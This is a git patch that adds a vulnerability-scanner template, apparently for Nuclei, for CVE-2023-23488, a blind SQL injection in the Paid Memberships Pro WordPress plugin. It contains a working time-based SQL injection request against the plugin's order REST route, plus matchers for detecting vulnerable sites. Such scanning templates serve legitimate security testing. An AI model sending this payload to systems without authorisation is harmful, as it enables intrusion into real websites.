From fe99251f3c3e0473d7c01114845ad4f029fadc47 Mon Sep 17 00:00:00 2001
From: Dwi Siswanto <me@dw1.io>
Date: Mon, 20 Feb 2023 02:09:46 +0700
Subject: [PATCH 1/2] add CVE-2023-23488

---
 cves/2023/CVE-2023-23488.yaml | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 cves/2023/CVE-2023-23488.yaml

diff --git a/cves/2023/CVE-2023-23488.yaml b/cves/2023/CVE-2023-23488.yaml
new file mode 100644
index 00000000000..62fe13f4f2f
--- /dev/null
+++ b/cves/2023/CVE-2023-23488.yaml
@@ -0,0 +1,34 @@
+id: CVE-2023-23488
+
+info:
+  name: Paid Memberships Pro < 2.9.8 - Unauthenticated Blind SQLi
+  author: dwisiswant0
+  severity: critical
+  description: |
+    The Paid Memberships Pro WordPress Plugin, version < 2.9.8, is affected
+    by an unauthenticated SQL injection vulnerability in the 'code' parameter
+    of the '/pmpro/v1/order' REST route.
+  reference:
+    - https://www.tenable.com/security/research/tra-2023-2
+    - https://wordpress.org/plugins/paid-memberships-pro/
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-23488
+  tags: wp-plugin,wp,sqli,paid-memberships-pro,cve,cve2023,wordpress
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20- HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - duration_1>=5
+          - status_code_1 != 403 # Wordfence
+          - contains(body_2, "pmpro_updates")
+        condition: and

From aa304651de0c3de6b40d83140a8244f73d654963 Mon Sep 17 00:00:00 2001
From: Dwi Siswanto <me@dw1.io>
Date: Mon, 20 Feb 2023 02:37:27 +0700
Subject: [PATCH 2/2] update(CVE-2023-23488): extend timeout value to 30s

---
 cves/2023/CVE-2023-23488.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cves/2023/CVE-2023-23488.yaml b/cves/2023/CVE-2023-23488.yaml
index 62fe13f4f2f..cff9b1c9825 100644
--- a/cves/2023/CVE-2023-23488.yaml
+++ b/cves/2023/CVE-2023-23488.yaml
@@ -17,7 +17,7 @@ info:
 requests:
   - raw:
       - |
-        @timeout: 15s
+        @timeout: 30s
         GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20- HTTP/1.1
         Host: {{Hostname}}